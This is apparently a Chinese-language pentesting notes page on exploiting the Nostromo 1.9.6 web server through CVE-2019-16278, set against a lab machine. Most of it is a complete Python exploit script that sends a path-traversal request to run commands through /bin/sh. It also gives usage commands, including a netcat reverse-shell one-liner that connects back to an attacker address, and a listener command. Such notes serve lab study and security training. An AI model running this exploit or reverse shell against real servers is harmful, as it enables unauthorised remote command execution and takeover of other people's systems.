> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/nostromo-cms-exploitation.md).

# Nostromo

Nostromo 利用笔记：针对 CVE-2019-16278 的远程命令执行、反向 Shell 获取以及 HomeDirs 枚举。

## Nostromo CVE-2019-16278 远程命令执行

**漏洞利用研究：** `searchsploit` 识别出一个针对 Nostromo 1.9.6 的 RCE 漏洞利用。

<figure><img src="/files/eb8ce19793f6d61b640bb85d9f84b9e7317054e8" alt="" width="563"><figcaption></figcaption></figure>

从 GitHub 下载概念验证代码。

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**运行脚本：** 使用以下脚本在服务器上执行命令：

```python
import argparse
import socket

# Argparse 配置
parser = argparse.ArgumentParser(description="针对 CVE-2019-16278 的 Nostromo 1.9.6 RCE 利用")
parser.add_argument("-t", "--target", help="远程主机目标")
parser.add_argument("-p", "--port", help="远程端口目标")
parser.add_argument("-c", "--command", help="要在服务器上执行的命令")
parser.add_argument("-b", "--bytes", help="响应中要接收回的字节数")

# 定义并赋值变量
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# 构建并编码载荷
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# 创建套接字并发送载荷
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# 接收响应并关闭套接字
print(s.recv(1024).decode())
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="/files/9f1dd9123918eed85cc5b471b9a0347730c173d3" alt="" width="563"><figcaption></figcaption></figure>

**获取反向 Shell：**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="/files/2ab85f9d729747bd35437e6dac6dbf6e505d9fb5" alt=""><figcaption></figcaption></figure>

## 相关说明

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-server" style="color:$primary;">:server:</i></h3></td><td><h4>HomeDirs 配置</h4></td><td>Nostromo HomeDirs 枚举笔记，涵盖 nhttpd.conf 审查、public_www 发现、受保护文件区域访问、备份归档提取以及 SSH 密钥恢复。</td><td><a href="/pages/195410e31528f514085681683b0bc536475b44e3">/pages/195410e31528f514085681683b0bc536475b44e3</a></td></tr></tbody></table>


---

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